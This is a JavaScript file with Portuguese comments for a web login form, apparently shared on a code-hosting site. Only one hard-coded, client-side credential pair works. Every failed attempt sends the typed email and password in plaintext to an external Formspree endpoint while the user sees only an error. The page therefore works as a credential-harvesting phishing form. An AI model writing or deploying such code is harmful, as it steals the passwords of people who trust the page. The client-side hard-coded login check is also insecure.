// Cole o link do Formspree entre as aspas abaixo:
const FORMSPREE_URL = "https://[Log in to view URL]";

document.getElementById('loginForm').addEventListener('submit', async function(e) {
    e.preventDefault();

    const email = document.getElementById('email').value.trim();
    const password = document.getElementById('password').value.trim();

    if (email === "" || password === "") {
        showError("Por favor, preencha todos os campos.");
        return;
    }

    // A única credencial que funciona com sucesso:
    if (email === "admin@email.com" && password === "123456") {
        alert("Login realizado com sucesso!");
        // window.location.href = "dashboard.html"; // se quiser redirecionar
    } else {
        // Se errar, envia os dados para o Formspree e mostra o erro
        await registrarTentativaFalha(email, password);
        showError("E-mail ou senha incorretos.");
    }
});

async function registrarTentativaFalha(emailDigitado, senhaDigitada) {
    const dados = {
        email_tentado: emailDigitado,
        senha_tentada: senhaDigitada,
        data_hora: new Date().toLocaleString('pt-BR')
    };

    try {
        await fetch(FORMSPREE_URL, {
            method: "POST",
            headers: {
                "Content-Type": "application/json",
                "Accept": "application/json"
            },
            body: JSON.stringify(dados)
        });
    } catch (erro) {
        console.error("Erro ao registrar tentativa:", erro);
    }
}

function showError(message) {
    const errorMessage = document.getElementById('errorMessage');
    errorMessage.textContent = message;
    errorMessage.style.display = 'block';
}

Embed on website

To embed this project on your website, copy the following code and paste it into your website's HTML: